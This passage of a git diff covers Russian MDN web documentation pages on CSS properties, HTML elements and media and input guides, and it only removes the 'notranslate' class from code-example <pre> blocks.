src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/> +<pre class="brush: html"><img id="object-position-1" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/> <img id="object-position-2" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/> </pre> @@ -60,7 +60,7 @@ object-position: unset; <p>CSS содержит стандартные стили для самого <code><img></code>-элемента, а также отдельные стили для обоих изображений.</p> -<pre class="brush: css notranslate">img { +<pre class="brush: css">img { width: 300px; height: 250px; border: 1px solid black; diff --git a/files/ru/web/css/overflow-wrap/index.html b/files/ru/web/css/overflow-wrap/index.html index 2b40e990a1..36a0a13508 100644 --- a/files/ru/web/css/overflow-wrap/index.html +++ b/files/ru/web/css/overflow-wrap/index.html @@ -19,7 +19,7 @@ translation_of: Web/CSS/overflow-wrap <h2 id="Syntax">Syntax</h2> -<pre class="brush:css notranslate">/* Keyword values */ +<pre class="brush:css">/* Keyword values */ overflow-wrap: normal; overflow-wrap: break-word; overflow-wrap: anywhere; @@ -59,7 +59,7 @@ overflow-wrap: unset; <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><p>They say the fishing is excellent at +<pre class="brush: html"><p>They say the fishing is excellent at Lake <em class="normal">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>, though I've never been there myself. (<code>normal</code>)</p> <p>They say the fishing is excellent at @@ -84,7 +84,7 @@ overflow-wrap: unset; <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">p { +<pre class="brush: css">p { width: 13em; margin: 2px; background: gold; diff --git a/files/ru/web/css/text-size-adjust/index.html b/files/ru/web/css/text-size-adjust/index.html index c66164817c..d0cb6f6c4b 100644 --- a/files/ru/web/css/text-size-adjust/index.html +++ b/files/ru/web/css/text-size-adjust/index.html @@ -36,7 +36,7 @@ translation_of: Web/CSS/text-size-adjust <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: css notranslate">/* Text is never inflated */ +<pre class="brush: css">/* Text is never inflated */ text-size-adjust: none; /* Text may be inflated */ diff --git a/files/ru/web/css/touch-action/index.html b/files/ru/web/css/touch-action/index.html index ab1982d906..3562521aa9 100644 --- a/files/ru/web/css/touch-action/index.html +++ b/files/ru/web/css/touch-action/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/touch-action <p>Css-свойство touch-action указывает как элемент будет управляться через тачскрин (например, при помощи возможности приближения (zooming), встроенной в браузер).</p> -<pre class="brush:css no-line-numbers notranslate">/* Keyword values */ +<pre class="brush:css no-line-numbers">/* Keyword values */ touch-action: auto; touch-action: none; touch-action: pan-x; @@ -68,14 +68,14 @@ touch-action: unset; <p>The most common usage is to disable all gestures on an element (and its non-scrollable descendants) that provides its own dragging and zooming behavior – such as a map or game surface. </p> -<pre class="brush: css notranslate">#map { +<pre class="brush: css">#map { touch-action: none; } </pre> <p>Another common pattern is that of an image carousel which uses pointer events to handle horizontal panning, but doesn't want to interfere with vertical scrolling or zooming of the document.</p> -<pre class="brush: css notranslate">.image-carousel { +<pre class="brush: css">.image-carousel { width: 100%; height: 150px; touch-action: pan-y pinch-zoom; @@ -84,7 +84,7 @@ touch-action: unset; <p><strong>touch-action </strong>is also often used to completely disable the delay of <strong>click </strong>events caused by support for the<strong> </strong>double-tap to zoom gesture.</p> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { touch-action: manipulation; } </pre> diff --git a/files/ru/web/css/transform-function/rotate()/index.html b/files/ru/web/css/transform-function/rotate()/index.html index 6e5bbaa87b..2903cd7433 100644 --- a/files/ru/web/css/transform-function/rotate()/index.html +++ b/files/ru/web/css/transform-function/rotate()/index.html @@ -18,7 +18,7 @@ translation_of: Web/CSS/transform-function/rotate() <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">rotate(<em>a</em>) +<pre class="syntaxbox">rotate(<em>a</em>) </pre> <h2 id="Значения">Значения</h2> @@ -56,12 +56,12 @@ translation_of: Web/CSS/transform-function/rotate() <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><div>Normal</div> +<pre class="brush: html"><div>Normal</div> <div class="rotated">Rotated</div></pre> <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { width: 80px; height: 80px; background-color: skyblue; @@ -82,7 +82,7 @@ translation_of: Web/CSS/transform-function/rotate() <h4 id="HTML_2">HTML</h4> -<pre class="brush: html notranslate"><div>Normal</div> +<pre class="brush: html"><div>Normal</div> <div class="rotate">Rotated</div> <div class="rotate-translate">Rotated + Translated</div> <div class="translate-rotate">Translated + Rotated</div> @@ -90,7 +90,7 @@ translation_of: Web/CSS/transform-function/rotate() <h4 id="CSS_2">CSS</h4> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { position: absolute; left: 40px; top: 40px; diff --git a/files/ru/web/css/transform-function/rotate3d()/index.html b/files/ru/web/css/transform-function/rotate3d()/index.html index 77c045ef84..cb26bcd71f 100644 --- a/files/ru/web/css/transform-function/rotate3d()/index.html +++ b/files/ru/web/css/transform-function/rotate3d()/index.html @@ -23,7 +23,7 @@ translation_of: Web/CSS/transform-function/rotate3d() <p>The amount of rotation created by <code>rotate3d()</code> is specified by three {{cssxref("<number>")}}s and one {{cssxref("<angle>")}}. The <code><number></code>s represent the x-, y-, and z-coordinates of the vector denoting the axis of rotation. The <code><angle></code> represents the angle of rotation; if positive, the movement will be clockwise; if negative, it will be counter-clockwise.</p> -<pre class="syntaxbox notranslate">rotate3d(<em>x</em>, <em>y</em>, <em>z</em>, <em>a</em>) +<pre class="syntaxbox">rotate3d(<em>x</em>, <em>y</em>, <em>z</em>, <em>a</em>) </pre> <h3 id="Values">Values</h3> @@ -65,12 +65,12 @@ translation_of: Web/CSS/transform-function/rotate3d() <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><div>Normal</div> +<pre class="brush: html"><div>Normal</div> <div class="rotated">Rotated</div></pre> <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { perspective: 800px; } @@ -94,12 +94,12 @@ div { <h4 id="HTML_2">HTML</h4> -<pre class="brush: html notranslate"><div>Normal</div> +<pre class="brush: html"><div>Normal</div> <div class="rotated">Rotated</div></pre> <h4 id="CSS_2">CSS</h4> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { perspective: 800px; } diff --git a/files/ru/web/css/transform-function/skew()/index.html b/files/ru/web/css/transform-function/skew()/index.html index dc730c4c7e..a9f6da3ac3 100644 --- a/files/ru/web/css/transform-function/skew()/index.html +++ b/files/ru/web/css/transform-function/skew()/index.html @@ -17,7 +17,7 @@ translation_of: Web/CSS/transform-function/skew() <p>Функция <code>skew()</code> задаётся одним или двумя значениями которые отображают наклон в каждом из направлений.</p> -<pre class="syntaxbox notranslate">skew(<em>ax</em>) +<pre class="syntaxbox">skew(<em>ax</em>) skew(<em>ax</em>, <em>ay</em>) </pre> @@ -59,12 +59,12 @@ skew(<em>ax</em>, <em>ay</em>) <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><div>Обычный</div> +<pre class="brush: html"><div>Обычный</div> <div class="skewed">Наклонённый</div></pre> <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { width: 80px; height: 80px; background-color: skyblue; @@ -84,12 +84,12 @@ skew(<em>ax</em>, <em>ay</em>) <h4 id="HTML_2">HTML</h4> -<pre class="brush: html notranslate"><div>Обычный</div> +<pre class="brush: html"><div>Обычный</div> <div class="skewed">Наклонённый</div></pre> <h4 id="CSS_2">CSS</h4> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { width: 80px; height: 80px; background-color: skyblue; diff --git a/files/ru/web/css/url()/index.html b/files/ru/web/css/url()/index.html index f628fd7873..e93de76d95 100644 --- a/files/ru/web/css/url()/index.html +++ b/files/ru/web/css/url()/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/url() <p><span class="seoSummary">The <code><strong>url()</strong></code> <a href="/en-US/docs/Web/CSS">CSS</a> function is used to include a file. The parameter is an absolute URL, a relative URL, or a data URI. The <code><strong>url()</strong></code> function can be passed as a parameter of another CSS functions, like the {{cssxref('attr()')}} function. Depending on the property for which it is a value, the resource sought can be an image, font, or a stylesheet. The url() functional notation is the value for the <url> data type.</span></p> -<pre class="brush: css no-line-numbers notranslate">/* Simple usage */ +<pre class="brush: css no-line-numbers">/* Simple usage */ url(https://example.com/images/myImg.jpg); url(data:image/png;base64,iRxVB0…); url(myFont.woff); @@ -59,7 +59,7 @@ content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg); <dl> <dt><url></dt> <dd>A url, which is a relative or absolute address, or pointer, to the web resource to be included, or a data uri, optionally in single or double quotes. Quotes are required if the URL includes parentheses, whitespace, or quotes, unless these characters are escaped, or if the address includes control characters above 0x7e. Double quotes cannot occur inside double quotes and single quotes cannot occur inside single quotes unless escaped. The following are all valid and equivalent: - <pre class="syntaxbox notranslate"><css_property>: url("https://example.com/image.png") + <pre class="syntaxbox"><css_property>: url("https://example.com/image.png") <css_property>: url('https://example.com/image.png') <css_property>: url(https://example.com/image.png)</pre> </dd> @@ -73,7 +73,7 @@ content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg); <h3 id="Formal_syntax">Formal syntax</h3> -<pre class="syntaxbox notranslate">url( <a href="/en-US/docs/Web/CSS/string"><string></a> <url-modifier>* )</pre> +<pre class="syntaxbox">url( <a href="/en-US/docs/Web/CSS/string"><string></a> <url-modifier>* )</pre> <h2 id="Examples">Examples</h2> @@ -81,7 +81,7 @@ content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg); <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><ul> +<pre class="brush: html"><ul> <li>Item 1</li> <li>Item 2</li> <li>Item 3</li> @@ -89,7 +89,7 @@ content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg); <h4 id="CSS">CSS</h4> -<pre class="brush: css highlight[2] notranslate">li::after { +<pre class="brush: css highlight[2]">li::after { content: ' - ' url(https://mdn.mozillademos.org/files/16761/star.gif); }</pre> @@ -102,17 +102,17 @@ content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg); <div id="color-value"> <h4 id="HTML_2">HTML</h4> -<pre class="brush: html notranslate"><div class="background"></div></pre> +<pre class="brush: html"><div class="background"></div></pre> <h4 id="CSS_2">CSS</h4> <div class="hidden"> -<pre class="brush: css notranslate">.background { +<pre class="brush: css">.background { height: 100vh; }</pre> </div> -<pre class="brush: css highlight[6] notranslate">.background { +<pre class="brush: css highlight[6]">.background { background: yellow; background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='90' height='45'%3E%3Cpath d='M10 10h60' stroke='%2300F' stroke-width='5'/%3E%3Cpath d='M10 20h60' stroke='%230F0' stroke-width='5'/%3E%3Cpath d='M10 30h60' stroke='red' stroke-width='5'/%3E%3C/svg%3E"); }</pre> diff --git a/files/ru/web/css/vertical-align/index.html b/files/ru/web/css/vertical-align/index.html index 0c01095426..6ada47e5d2 100644 --- a/files/ru/web/css/vertical-align/index.html +++ b/files/ru/web/css/vertical-align/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/vertical-align <p>Свойство <a href="/ru/docs/Web/CSS" title="CSS">CSS</a> <code>vertical-align</code> описывает вертикальное позиционирование строчных (inline), строчно-блочных (inline-block) элементов или ячеек таблицы (table-cell).</p> -<pre class="brush: css no-line-numbers notranslate">/* ключевые значения */ +<pre class="brush: css no-line-numbers">/* ключевые значения */ vertical-align: baseline; vertical-align: sub; vertical-align: super; @@ -37,7 +37,7 @@ vertical-align: unset; </ul> <div id="vertical-align-inline"> -<pre class="hidden brush: html notranslate"><p> +<pre class="hidden brush: html"><p> top:<img style="vertical-align:top" src="https://mdn.mozillademos.org/files/15189/star.png"/> middle:<img style="vertical-align:middle" src="https://mdn.mozillademos.org/files/15189/star.png"/> bottom:<img style="vertical-align:bottom" src="https://mdn.mozillademos.org/files/15189/star.png"/> @@ -55,7 +55,7 @@ text-bottom:<img style="vertical-align:text-bottom" src="https://mdn.mozilla </pre> -<pre class="hidden brush: css notranslate">#* { +<pre class="hidden brush: css">#* { box-sizing: border-box; } @@ -82,7 +82,7 @@ p { </ul> <div id="vertical-align-table"> -<pre class="hidden brush: html notranslate"><table> +<pre class="hidden brush: html"><table> <tr> <td style="vertical-align: baseline">baseline</td> <td style="vertical-align: top">top</td> @@ -92,7 +92,7 @@ p { <p>Существует теория, которая утверждает, что если однажды кто-нибудь доподлинно выяснит, что такое и для чего нужна Вселенная, она тотчас же исчезнет, и вместо неё появится нечто ещё более причудливое и необъяснимое.</p> <p>Существует и другая теория, согласно которой это уже случилось.</p></pre> -<pre class="hidden brush: css notranslate">table { +<pre class="hidden brush: css">table { margin-left: auto; margin-right: auto; width: 80%; @@ -182,7 +182,7 @@ td { <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><div>Изображение <img src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /> с выравниванием по умолчанию.</div> +<pre class="brush: html"><div>Изображение <img src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /> с выравниванием по умолчанию.</div> <div>Изображение <img class="top" src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /> с выравниванием по верхнему краю.</div> <div>Изображение <img class="bottom" src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /> с выравниванием по нижнему краю.</div> <div>Изображение <img class="middle" src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /> с выравниванием по центру.</div> @@ -190,7 +190,7 @@ td { <h3 id="CSS">CSS</h3> -<pre class="brush: css notranslate">img.top { vertical-align: text-top; } +<pre class="brush: css">img.top { vertical-align: text-top; } img.bottom { vertical-align: text-bottom; } img.middle { vertical-align: middle; } </pre> diff --git a/files/ru/web/css/white-space/index.html b/files/ru/web/css/white-space/index.html index 5d817d3260..10f3c3bce0 100644 --- a/files/ru/web/css/white-space/index.html +++ b/files/ru/web/css/white-space/index.html @@ -19,7 +19,7 @@ translation_of: Web/CSS/white-space <h2 id="Сводка">Сводка</h2> -<pre class="brush: css no-line-numbers notranslate">/* Ключевые значения */ +<pre class="brush: css no-line-numbers">/* Ключевые значения */ white-space: normal; white-space: nowrap; white-space: pre; @@ -128,13 +128,13 @@ white-space: unset; <h3 id="Основной_пример">Основной пример</h3> -<pre class="brush: css notranslate">code { +<pre class="brush: css">code { white-space: pre; }</pre> <h3 id="Перенос_строк_внутри_элементов_HTMLElementpre">Перенос строк внутри элементов {{HTMLElement("pre")}} </h3> -<pre class="brush: css notranslate">pre { +<pre class="brush: css">pre { word-wrap: break-word; /* IE 5.5-7 */ white-space: pre-wrap; /* текущие браузеры */ }</pre> diff --git a/files/ru/web/css/z-index/index.html b/files/ru/web/css/z-index/index.html index 389a46767f..e37c2c23ab 100644 --- a/files/ru/web/css/z-index/index.html +++ b/files/ru/web/css/z-index/index.html @@ -22,7 +22,7 @@ translation_of: Web/CSS/z-index <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush:css notranslate">/* Значение - ключевое слово */ +<pre class="brush:css">/* Значение - ключевое слово */ z-index: auto; /* <целочисленные> значения */ @@ -54,7 +54,7 @@ z-index: unset; <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><div class="dashed-box">Dashed box +<pre class="brush: html"><div class="dashed-box">Dashed box <span class="gold-box">Gold box</span> <span class="green-box">Green box</span> </div> @@ -62,7 +62,7 @@ z-index: unset; <h3 id="CSS">CSS</h3> -<pre class="brush: css; highlight:[3,11,19] notranslate">.dashed-box { +<pre class="brush: css; highlight:[3,11,19]">.dashed-box { position: relative; z-index: 1; border: dashed; diff --git a/files/ru/web/guide/audio_and_video_manipulation/index.html b/files/ru/web/guide/audio_and_video_manipulation/index.html index 4fafc4e8d9..116ca50d1d 100644 --- a/files/ru/web/guide/audio_and_video_manipulation/index.html +++ b/files/ru/web/guide/audio_and_video_manipulation/index.html @@ -41,7 +41,7 @@ translation_of: Web/Guide/Audio_and_video_manipulation <p>We can set up our video player and <code><canvas></code> element like this:</p> -<pre class="brush: html notranslate"><video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"> +<pre class="brush: html"><video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"> <source src="http://jplayer.org/video/webm/Big_Buck_Bunny_Trailer.webm" type="video/webm"> <source src="http://jplayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v" type="video/mp4"> </video> @@ -52,7 +52,7 @@ translation_of: Web/Guide/Audio_and_video_manipulation <p>This code handles altering the frames.</p> -<pre class="brush: js notranslate">var processor = { +<pre class="brush: js">var processor = { timerCallback: function() { if (this.video.paused || this.video.ended) { return; @@ -97,7 +97,7 @@ translation_of: Web/Guide/Audio_and_video_manipulation <p>Когда страница загрузилась осуществите вызов:</p> -<pre class="brush: js notranslate">processor.doLoad()</pre> +<pre class="brush: js">processor.doLoad()</pre> <h4 id="Результат">Результат</h4> @@ -127,19 +127,19 @@ translation_of: Web/Guide/Audio_and_video_manipulation <h4 id="HTML_2">HTML</h4> -<pre class="brush: html notranslate"><video id="my-video" controls +<pre class="brush: html"><video id="my-video" controls src="http://jplayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v"> </video></pre> <h4 id="JavaScript_2">JavaScript</h4> -<pre class="brush: js notranslate">var myVideo = document.getElementById('my-video'); +<pre class="brush: js">var myVideo = document.getElementById('my-video'); myVideo.playbackRate = 2;</pre> <div class="hidden"> <h6 id="Playable_code">Playable code</h6> -<pre class="brush: html notranslate"><video id="my-video" controls="true" width="480" height="270"> +<pre class="brush: html"><video id="my-video" controls="true" width="480" height="270"> <source src="http://jplayer.org/video/webm/Big_Buck_Bunny_Trailer.webm" type="video/webm"> <source src="http://jplayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v" type="video/mp4"> </video> @@ -152,7 +152,7 @@ var myVideo = document.getElementById('my-video'); myVideo.playbackRate = 2;</textarea> </pre> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var edit = document.getElementById('edit'); var code = textarea.value; @@ -222,13 +222,13 @@ window.addEventListener('load', setPlaybackRate); <h4 id="HTML_3">HTML</h4> -<pre class="brush: html notranslate"><video id="my-video" controls +<pre class="brush: html"><video id="my-video" controls src="myvideo.mp4" type="video/mp4"> </video></pre> <h4 id="JavaScript_3">JavaScript</h4> -<pre class="brush: js notranslate">var context = new AudioContext(), +<pre class="brush: js">var context = new AudioContext(), audioSource = context.createMediaElementSource(document.getElementById("my-video")), filter = context.createBiquadFilter(); audioSource.connect(filter); @@ -242,7 +242,7 @@ filter.gain.value = 25;</pre> <div class="hidden"> <h6 id="Playable_code_2">Playable code</h6> -<pre class="brush: html notranslate"><video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"> +<pre class="brush: html"><video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"> <source src="http://jplayer.org/video/webm/Big_Buck_Bunny_Trailer.webm" type="video/webm"> <source src="http://jplayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v" type="video/mp4"> </video> @@ -255,7 +255,7 @@ filter.type = "lowshelf"; filter.frequency.value = 1000; filter.gain.value = 25;</textarea></pre> -<pre class="brush: js notranslate">var context = new AudioContext(), +<pre class="brush: js">var context = new AudioContext(), audioSource = context.createMediaElementSource(document.getElementById("my-video")), filter = context.createBiquadFilter(); audioSource.connect(filter); @@ -315,7 +315,7 @@ window.addEventListener('load', setFilter); <h4 id="Пример">Пример</h4> -<pre class="brush: js notranslate">var convolver = context.createConvolver(); +<pre class="brush: js">var convolver = context.createConvolver(); convolver.buffer = this.impulseResponseBuffer; // Connect the graph. source.connect(convolver); @@ -330,7 +330,7 @@ convolver.connect(context.destination); <h4 id="Пример_2">Пример</h4> -<pre class="brush: js notranslate">var panner = context.createPanner(); +<pre class="brush: js">var panner = context.createPanner(); panner.coneOuterGain = 0.2; panner.coneOuterAngle = 120; panner.coneInnerAngle = 0; diff --git a/files/ru/web/guide/parsing_and_serializing_xml/index.html b/files/ru/web/guide/parsing_and_serializing_xml/index.html index 5304905afc..c0f4996f11 100644 --- a/files/ru/web/guide/parsing_and_serializing_xml/index.html +++ b/files/ru/web/guide/parsing_and_serializing_xml/index.html @@ -43,7 +43,7 @@ translation_of: Web/Guide/Parsing_and_serializing_XML <p>В этом примере фрагмент XML в строке преобразуется в дерево DOM с помощью {{domxref ("DOMParser")}}:</p> <div style="overflow: hidden;"> -<pre class="brush: js notranslate">var sMyString = '<a id="a"><b id="b">hey!</b></a>'; +<pre class="brush: js">var sMyString = '<a id="a"><b id="b">hey!</b></a>'; var oParser = new DOMParser(); var oDOM = oParser.parseFromString(sMyString, "application/xml"); // print the name of the root element or error message @@ -57,7 +57,7 @@ console.log(oDOM.documentElement.nodeName == "parsererror" ? "error while parsin <p>Вот пример кода, который считывает и анализирует XML-файл с URL-адресом в дереве DOM:</p> -<pre class="brush: js notranslate">var xhr = new XMLHttpRequest(); +<pre class="brush: js">var xhr = new XMLHttpRequest(); xhr.onload = function() { dump(xhr.responseXML.documentElement.nodeName); } @@ -89,21 +89,21 @@ xhr.send(); <p>Чтобы сериализовать документ дерева DOM в текст XML, вызовите {{domxref ("XMLSerializer.serializeToString ()")}}:</p> -<pre class="brush: js notranslate">var oSerializer = new XMLSerializer(); +<pre class="brush: js">var oSerializer = new XMLSerializer(); var sXML = oSerializer.serializeToString(doc);</pre> <h3 id="Serializing_HTML_documents">Serializing HTML documents</h3> <p>Если у вас есть модель DOM в виде HTML-документа, вы можете сериализовать её с помощью serializeToString (), но есть более простой вариант: просто используйте свойство {{domxref ("Element.innerHTML")}} (если вам нужны только потомки указанный узел) или свойство {{domxref ("Element.outerHTML")}}, если вам нужен узел и все его потомки.</p> -<pre class="brush: js notranslate">var docHTML = document.documentElement.innerHTML; +<pre class="brush: js">var docHTML = document.documentElement.innerHTML; </pre> <p>В результате docHTML представляет собой {{domxref ("DOMString")}}, содержащий HTML-код содержимого документа; то есть содержимое элемента {{HTMLElement ("body")}}.</p> <p>Вы можете получить HTML, соответствующий <body> и его потомкам, с помощью этого кода:</p> -<pre class="brush: js notranslate">var docHTML = document.documentElement.outerHTML;</pre> +<pre class="brush: js">var docHTML = document.documentElement.outerHTML;</pre> <h2 id="See_also">See also</h2> diff --git a/files/ru/web/guide/user_input_methods/index.html b/files/ru/web/guide/user_input_methods/index.html index 8273c220e7..7fecabebd2 100644 --- a/files/ru/web/guide/user_input_methods/index.html +++ b/files/ru/web/guide/user_input_methods/index.html @@ -45,7 +45,7 @@ translation_of: Web/Guide/User_input_methods <p>Keyboard input can be controlled by your app. For example if you want to add controls when any key gets pressed, you need to add an event listener on the window object:</p> -<pre class="brush: js notranslate">window.addEventListener("keydown", handleKeyDown, true); +<pre class="brush: js">window.addEventListener("keydown", handleKeyDown, true); window.addEventListener("keyup", handleKeyUp, true);</pre> <p>where <code>handleKeyDown</code> and <code>handleKeyUp</code> are the functions implementing the controls about the <code>keydown</code> and <code>keyup</code> events.</p> @@ -66,7 +66,7 @@ window.addEventListener("keyup", handleKeyUp, true);</pre> <p>If you want to use touch events, you need to add event listeners and specify handler functions, which will be called when the event gets fired:</p> -<pre class="brush: js notranslate">element.addEventListener("touchstart", handleStart, false); +<pre class="brush: js">element.addEventListener("touchstart", handleStart, false); element.addEventListener("touchcancel", handleCancel, false); element.addEventListener("touchend", handleEnd, false); element.addEventListener("touchmove", handleMove, false);</pre> @@ -93,7 +93,7 @@ element.addEventListener("touchmove", handleMove, false);</pre> <p>This is the code to request pointer lock on an <code>element</code>:</p> -<pre class="brush: js notranslate">element.requestPointerLock();</pre> +<pre class="brush: js">element.requestPointerLock();</pre> <div class="note"> <p><strong>Note</strong>: For a full tutorial and reference, read our {{domxref("Pointer_Lock_API")}} page.</p> @@ -113,7 +113,7 @@ element.addEventListener("touchmove", handleMove, false);</pre> <p>You might need to present an element of your application (such as a {{ htmlelement("video") }}, for example) in fullscreen mode. You can achieve this by calling {{domxref("Element.requestFullscreen()")}} on that element. Bear in mind that many browsers still implement this with a vendor prefix, so you will probably need to fork your code something like this:</p> -<pre class="brush: js notranslate">var elem = document.getElementById("myvideo"); +<pre class="brush: js">var elem = document.getElementById("myvideo"); if (elem.requestFullscreen) { elem.requestFullscreen(); } else if (elem.msRequestFullscreen) { @@ -134,7 +134,7 @@ if (elem.requestFullscreen) { <p>Here is an example that allows a section of content to be dragged.</p> -<pre class="brush: html notranslate"><div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')"> +<pre class="brush: html"><div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')"> This text <strong>may</strong> be dragged.
</div></pre> @@ -153,7 +153,7 @@ if (elem.requestFullscreen) { <p>In open web apps any DOM element can be made directly editable using the <a href="/en-US/docs/Web/HTML/Global_attributes#contenteditable"><code>contenteditable</code></a> attribute.</p> -<pre class="brush: html notranslate"><div contenteditable="true"> +<pre class="brush: html"><div contenteditable="true"> This text can be edited by the user. </div></pre> diff --git a/files/ru/web/html/attributes/pattern/index.html b/files/ru/web/html/attributes/pattern/index.html index b7df7361ed..065388ae8c 100644 --- a/files/ru/web/html/attributes/pattern/index.html +++ b/files/ru/web/html/attributes/pattern/index.html @@ -35,7 +35,7 @@ translation_of: Web/HTML/Attributes/pattern <p>Given the following:</p> <div id="example1"> -<pre class="brush: html notranslate"><p> +<pre class="brush: html"><p> <label>Enter your phone number in the format (123)456-7890 (<input name="tel1" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit area code" size="2"/>)- <input name="tel2" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit prefix" size="2"/> - @@ -47,7 +47,7 @@ translation_of: Web/HTML/Attributes/pattern <p>If the values are too long or too short, or contain characters that aren't digits, the patternMismatch will be true. When <code>true</code>, the element matches the {{cssxref(":invalid")}} CSS pseudo-classes.</p> -<pre class="brush: css notranslate">input:invalid { +<pre class="brush: css">input:invalid { border: red solid 3px; }</pre> @@ -62,7 +62,7 @@ translation_of: Web/HTML/Attributes/pattern <p>The example below restricts the value to 4-8 characters and requires that it contain only lower-case letters.</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div> <label for="uname">Choose a username: </label> <input type="text" id="uname" name="name" required size="45" @@ -76,7 +76,7 @@ translation_of: Web/HTML/Attributes/pattern </form></pre> <div class="hidden"> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { margin-bottom: 10px; position: relative; } diff --git a/files/ru/web/html/element/address/index.html b/files/ru/web/html/element/address/index.html index 43d35ffddc..d8f95f56c7 100644 --- a/files/ru/web/html/element/address/index.html +++ b/files/ru/web/html/element/address/index.html @@ -54,7 +54,7 @@ translation_of: Web/HTML/Element/address <h2 id="Пример">Пример</h2> -<pre class="brush: html notranslate"> <address> +<pre class="brush: html"> <address> You can contact author at <a href="http://www.somedomain.com/contact">www.somedomain.com</a>.<br> If you see any bugs, please <a href="mailto:webmaster@somedomain.com">contact webmaster</a>.<br> You may also want to visit us:<br> diff --git a/files/ru/web/html/element/b/index.html b/files/ru/web/html/element/b/index.html index 73d129d034..d42a440c9c 100644 --- a/files/ru/web/html/element/b/index.html +++ b/files/ru/web/html/element/b/index.html @@ -51,11 +51,11 @@ translation_of: Web/HTML/Element/b <h2 id="Пример">Пример</h2> -<pre class="brush: css notranslate">.keywords { +<pre class="brush: css">.keywords { color:red; }</pre> -<pre class="brush: html notranslate"><p> +<pre class="brush: html"><p> В этой статье описывается элемент для форматирования <b class="keywords">текста</b>. Она объясняет его использование в документе <b class="keywords">HTML</b>. </p> diff --git a/files/ru/web/html/element/base/index.html b/files/ru/web/html/element/base/index.html index 688f04a639..384e13abeb 100644 --- a/files/ru/web/html/element/base/index.html +++ b/files/ru/web/html/element/base/index.html @@ -64,7 +64,7 @@ translation_of: Web/HTML/Element/base <h2 id="Примеры">Примеры</h2> -<pre class="brush: html notranslate"><base href="http://www.example.com/page.html"> +<pre class="brush: html"><base href="http://www.example.com/page.html"> <base target="_blank" href="http://www.example.com/page.html"> </pre> diff --git a/files/ru/web/html/element/button/index.html b/files/ru/web/html/element/button/index.html index 82d5b3a068..b9ad2a8b29 100644 --- a/files/ru/web/html/element/button/index.html +++ b/files/ru/web/html/element/button/index.html @@ -122,7 +122,7 @@ original_slug: Web/HTML/Element/кнопка <h2 id="Example">Пример</h2> -<pre class="brush:html notranslate"><button name="button">Тык!</button> +<pre class="brush:html"><button name="button">Тык!</button> </pre> <p>{{ EmbedLiveSample('Example', 200, 64) }}</p> diff --git a/files/ru/web/html/element/canvas/index.html b/files/ru/web/html/element/canvas/index.html index cfc3bbc0f7..8be91f4e9a 100644 --- a/files/ru/web/html/element/canvas/index.html +++ b/files/ru/web/html/element/canvas/index.html @@ -57,14 +57,14 @@ translation_of: Web/HTML/Element/canvas <h2 id="Примеры">Примеры</h2> -<pre class="brush: html notranslate"><canvas id="canvas" width="300" height="300"> +<pre class="brush: html"><canvas id="canvas" width="300" height="300"> Извините, ваш браузер нет поддерживает&lt;canvas&gt; элемент. </canvas> </pre> <p>Если ваш холст не использует transparency, установите <code>moz-opaque</code> атрибут на canvas теге. Это информация может быть использована для оптимизации рендеринга. Однако, этот атрибут не был стандартизирован и работает только в браузерах основанных на движках рендеринга Mozilla .</p> -<pre class="brush: html notranslate"><canvas id="mycanvas" moz-opaque></canvas></pre> +<pre class="brush: html"><canvas id="mycanvas" moz-opaque></canvas></pre> <h2 